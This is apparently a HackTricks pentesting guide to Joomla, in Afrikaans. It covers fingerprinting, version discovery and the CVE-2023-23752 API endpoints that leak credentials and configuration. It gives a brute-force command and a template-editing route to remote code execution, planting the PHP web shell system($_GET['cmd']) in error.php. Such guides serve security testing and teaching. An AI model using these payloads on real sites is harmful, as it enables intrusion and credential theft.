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113 lines
4.2 KiB
Markdown
113 lines
4.2 KiB
Markdown
# Joomla
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{{#include ../../banners/hacktricks-training.md}}
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### Joomla Statistieke
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Joomla verskaf 'n paar anonieme [gebruikstatistieke](https://developer.joomla.org/about/stats.html) soos die verdeling van Joomla, PHP en databasisweergawe en bedienerbedryfstelsels wat op Joomla-installasies gebruik word. Hierdie data kan deur middel van hul openbare [API](https://developer.joomla.org/about/stats/api.html) opgevraag.
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```bash
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curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
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{
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"data": {
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"cms_version": {
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"3.0": 0,
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"3.1": 0,
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"3.10": 6.33,
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"3.2": 0.01,
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"3.3": 0.02,
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"3.4": 0.05,
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"3.5": 12.24,
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"3.6": 22.85,
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"3.7": 7.99,
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"3.8": 17.72,
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"3.9": 27.24,
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"4.0": 3.21,
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"4.1": 1.53,
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"4.2": 0.82,
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"4.3": 0,
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"5.0": 0
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},
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"total": 2951032
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}
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}
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```
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## Enumerasie
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### Ontdekking/Fotodruk
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- Kontroleer die **meta**
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```bash
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curl https://www.joomla.org/ | grep Joomla | grep generator
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<meta name="generator" content="Joomla! - Open Source Content Management" />
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```
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- robots.txt
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```
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# If the Joomla site is installed within a folder
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# eg www.example.com/joomla/ then the robots.txt file
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# MUST be moved to the site root
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# eg www.example.com/robots.txt
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# AND the joomla folder name MUST be prefixed to all of the
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# paths.
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[...]
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```
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- README.txt
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```
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1- What is this?
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* This is a Joomla! installation/upgrade package to version 3.x
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* Joomla! Official site: https://www.joomla.org
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* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
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* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
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```
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### Weergawe
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- In **/administrator/manifests/files/joomla.xml** kan jy die weergawe sien.
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- In **/language/en-GB/en-GB.xml** kan jy die weergawe van Joomla kry.
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- In **plugins/system/cache/cache.xml** kan jy 'n benaderde weergawe sien.
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### Outomaties
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```bash
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droopescan scan joomla --url http://joomla-site.local/
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```
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In[ **80,443 - Pentesting Web Metodologie is 'n afdeling oor CMS skanners**](#cms-scanners) wat Joomla kan skandeer.
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### API Ongeoutentiseerde Inligtingsontsluiting:
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Weergawes Van 4.0.0 tot 4.2.7 is kwesbaar vir ongeoutentiseerde inligtingsontsluiting (CVE-2023-23752) wat kredensiale en ander inligting sal dump.
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- Gebruikers: `http://<host>/api/v1/users?public=true`
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- Konfigurasie Lêer: `http://<host>/api/index.php/v1/config/application?public=true`
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**MSF Modul**: `scanner/http/joomla_api_improper_access_checks` of ruby skrip: [51334](https://www.exploit-db.com/exploits/51334)
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### Brute-Force
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Jy kan hierdie [skrip](https://github.com/ajnik/joomla-bruteforce) gebruik om te probeer om die aanmelding te brute-force.
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```shell-session
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sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
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admin:admin
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```
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## RCE
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As jy daarin geslaag het om **admin akrediteer** te verkry, kan jy **RCE binne dit** verkry deur 'n snit van **PHP kode** by te voeg om **RCE** te verkry. Ons kan dit doen deur 'n **sjabloon** te **pas aan**.
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1. **Klik** op **`Templates`** onderaan links onder `Configuration` om die sjablone-menu op te roep.
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2. **Klik** op 'n **sjabloon** naam. Kom ons kies **`protostar`** onder die `Template` kolomkop. Dit sal ons na die **`Templates: Customise`** bladsy bring.
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3. Laastens, kan jy op 'n bladsy klik om die **bladsybron** op te roep. Kom ons kies die **`error.php`** bladsy. Ons sal 'n **PHP een-liner byvoeg om kode-uitvoering te verkry** soos volg:
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1. **`system($_GET['cmd']);`**
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4. **Stoor & Sluit**
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5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
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## From XSS to RCE
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- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla Exploitation Script wat **XSS na RCE of ander kritieke kwesbaarhede verhoog**. Vir meer inligting, kyk na [**hierdie pos**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **ondersteuning vir Joomla weergawes 5.X.X, 4.X.X, en 3.X.X, en laat toe om:**
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- _**Privilegie Escalation:**_ Skep 'n gebruiker in Joomla.
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- _**(RCE) Ingeboude Sjablone Wysig:**_ Wysig 'n Ingeboude Sjabloon in Joomla.
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- _**(Custom) Aangepaste Exploits:**_ Aangepaste Exploits vir Derdeparty Joomla Plugins.
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{{#include ../../banners/hacktricks-training.md}}
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